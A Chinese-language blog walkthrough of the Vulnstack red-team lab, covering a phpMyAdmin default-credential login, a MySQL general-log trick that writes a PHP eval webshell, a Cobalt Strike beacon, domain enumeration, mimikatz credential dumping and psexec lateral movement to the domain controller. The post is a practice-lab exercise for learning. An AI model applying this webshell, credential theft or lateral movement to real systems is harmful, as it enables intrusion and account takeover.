赞
踩
内网渗透学习过程,简单记录一下
靶场下载地址:
http://vulnstack.qiyuanxuetang.net/vuln/
今天做的是第一个ATT&CK实战系列——红队实战(一)
下载下来之后一共有三个虚拟机,解压到虚拟机目录下
分别对应的是Windows7,Windows Server 2003和Windows Server 2008。另外我们还需要一台攻击机,这里选用的是kali2022.1(其实真实环境自己主机就相当于攻击机),网络拓扑图如下所示:
靶场提供的三个主机在同一个网段中,另外Win7主机有两张网卡,模拟可以与外网进行通信的主机,且安装有phpstudy,部署了web网站。
我们在使用VMware设置环境时,为了安全,应该设置两个网段,即新建两个VMnet,均为主机模型(这里是为了防止虚拟机上有什么病毒逃逸到自己的本机电脑上或者在操作过程中有什么错误,感染自己的电脑)。
在VMware中,需要设置一下虚拟网络编辑器,确保其中有两个仅主机模式的VMnet,其中一个VMnet的子网地址设置为192.168.52.0,这主要是因为提供的靶场里面,对Win server2003和Win server2008均配置静态IP,且属于192.168.52.0/24网段,为了方便,我们这里直接将VMware的VMnet也设置为相同网段即可。
另一个VMnet一定要设置使用本地DHCP服务将IP地址分配给虚拟机,这样子kali在添加进该网段时会被分配IP。
因此四个主机对应的网络适配器配置情况如下:
将三个靶机都启动,此时需要占用较大的内存,建议将其他应用关闭,另外电脑配置最好能在16G及以上。
密码都是 hongrisec@2019,可能会提醒你修改密码,修改后务必记住自己的密码。
进入win7 启动phpstudy。
此时包括kali在内的四台虚拟机对应的IP为
kali2022.1:192.168.111.128
windows7:
外网网卡:192.168.111.129
内网网卡:192.168.52.143
windows server 2003:192.168.52.141
windows server 2008:192.168.52.138
网络连通情况:
主机:只能ping通kali2022.1
kali2022.1:只能ping通windows7外网网卡
windows7:
能ping通kali2022.1
能ping通windows server 2003
能ping通windows server 2008
windows server 2003:
只能ping通windows server 2008
windows server 2008:
只能ping通windows server 2003
kali的ip:192.168.111.128
搜索同段的主机
netdiscover -i eth0 -r 192.168.111.0/24
一个是网关,一个是路由,所以同一个C端中存在存活主机192.168.111.129(win7)
nmap探测端口开放信息
nmap 192.168.111.129
80端口开了,说明有web服务,用dirsearch、dirmap进行扫描(也可以选择其他工具),其中只有dirmap能扫出来beifen.rar
其中重要的有两个突破口;
一个是phpmyadmin进入后台getshell
一个是利用cms管理页面getshell
直接访问192.168.111.129会出现phpstudy探针页面,测试root/root连接成功
访问http://192.168.111.129/phpmyadmin,用root/root进行后台
到这一步就是利用sql写文件getshell
一般利用MySQL获取shell的方法有以下几种:
1、select ‘一句话木马’ into dumpfile/outfile ‘绝对路径’
条件1:secure_file_priv变量非NULL,表示支持数据导入导出
条件2:用户拥有root权限
条件3:知道当前网站的绝对路径
2、利用日志文件
先来看第一种:
查看secure-file-priv值,为NULL时表示禁止导入导出,且无法通过sql语句对该属性值进行修改,说明第1种方式行不通
show variables like '%secure-file%';
再来看第二种:
查看是否开启日志记录以及日志保存目录
show variables like 'general%';
发现日志记录关闭,日志保存目录路径
可以用set语句设置为ON,打开日志记录
set global general_log = "ON";
并将日志保存路径设置为php文件
set global general_log_file="C:/phpStudy/www/1.php"
再次查看日志开启情况和日志保存路径,修改成功
然后写入一句话木马
select '<?php eval($_POST["cmd"]);?>';
访问http://192.168.111.129/1.php并测试能否正常解析
用蚁剑进行连接
下载下来beifen.rar,查看网页源码,找到网站路径、后台地址、账号密码
登录之后可以对前台模板进行编辑,这样就可以向模板文件中增加一句话木马进行连接来getshell
在源码中找到对应文件目录
CS生成木马(windows、http)上传到web目录,然后执行这个exe,CS上线
拿到shell第一步,调低心跳值,默认心跳为60s,执行命令的响应很慢,我这是自己的内网没有杀软就设置为0,真实环境不要设置这么低,进入beacon执行命令,查看主机基本信息:
sleep 0
shell whoami
shell hostname
shell net user
shell net localgroup administrators
查看是什么操作系统&系统中文版本
shell systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
查询系统体系架构
shell echo %PROCESSOR_ARCHITECTURE%
查询已安装的软件及版本信息
shell wmic product get name,version
在 win10 中,输入 wmic /? 会提示 wmic 已弃用,但在 server2012R2,win7 等版本中可以正常使用
查询进程及服务
shell tasklist
默认显示映像名称,PID,服务
shell tasklist /svc
另一种查询进程
shell wmic process list brief
常见的杀软进程
域是计算机网络的一种形式,其中所有用户帐户 ,计算机,打印机和其他安全主体都在位于称为域控制器的一个或多个中央计算机集群上的中央数据库中注册。 身份验证在域控制器上进行。 在域中使用计算机的每个人都会收到一个唯一的用户帐户,然后可以为该帐户分配对该域内资源的访问权限。 从 Windows Server 2003 开始 , Active Directory 是负责维护该中央数据库的 Windows 组件。Windows 域的概念与工作组的概念形成对比,在该工作组中,每台计算机都维护自己的安全主体数据库。
查看DNS服务器,这里发现DNS服务器名为god.org
shell ipconfig /all
查看域信息
shell net view
查看主域信息
shell net view /domain
查看时间服务器
shell net time /domain
发现能够执行,说明此台机器在域中 (若是此命令在显示域处显示 WORKGROUP,则不存在域,若是报错:发生系统错误 5,则存在域,但该用户不是域用户)
查询当前的登录域与用户信息
shell net config workstation
查看域控
shell nslookup god.org #nslookup直接解析域名服务器
查看当前域的所有用户
shell net user /domain
查看域内用户的详细信息
shell wmic useraccount get /all
查看所有域成员计算机列表
shell net group "domain computers" /domain
查看域管理员
shell net group "domain admins" /domain
查看域密码信息
shell net accounts /domain
查看域信任信息
shell nltest /domain_trusts
获取到一个CS的beacon后可以继续查看目标内网情况和端口开放情况
在 beacon 上右键 -> 目标 -> 选择 net view 或者 port scan(端口扫描)
net view
读取内存密码
hashdump
用mimikatz读注册表密码
logonpasswords
在凭证信息一栏可以清楚查看
如果权限不够可以提权,自带部分提权漏洞
抓取密码后可以先探测内网其他主机,ping方法
shell for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="
因为192.168.52.0/24段不能直接连接到192.168.111.128(kali地址),所以需要CS派生smb beacon。让内网的主机连接到win7上。
SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效。
简单来说,SMB Beacon有两种方式
新建一个 Listener,payload 设置为 Beacon SMB
在已有的 Beacon上右键 Spawn(增加会话),选择创建的 smb beacon 的 listerner
选择后会反弹一个子会话,在 external 的 ip 后面会有一个链接的小图标
这就是派生的 SMB Beacon,当前没有连接
前提是能够通过 shell 之类访问到内网其他主机
前面横向探测已经获取到内网内的其他 Targets 以及读取到的凭证信息
于是可以尝试使用 psexec 模块登录其他主机
右键选择一台非域控主机 ROOT-TVI862UBEH 的 psexec 模块
在弹出的窗口中选择使用 god.org 的 Administrator 的凭证信息
监听器选择刚才创建的 smb beacon,会话也选择对应的 smb beacon 的会话(上一层的会话)
可以看到分别执行了
rev2self
make_token GOD.ORG\Administrator N*******123
jump psexec ROOT-TVI862UBEH smb
这几条命令,执行后得到了 ROOT-TVI862UBEH 这台主机的 beacon
如法炮制得到了域控主机 OWA 的 beacon,最终目标视图如下
除了直接使用获取到的 hash 值,也可以直接窃取 GOD\Administrator 的 token 来登录其他主机
选择 beacon 右键 -> 目标 -> 进程列表
选择 GOD\Administrator 的 token 盗取
然后在选择令牌处勾选使用当前 token 即可
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。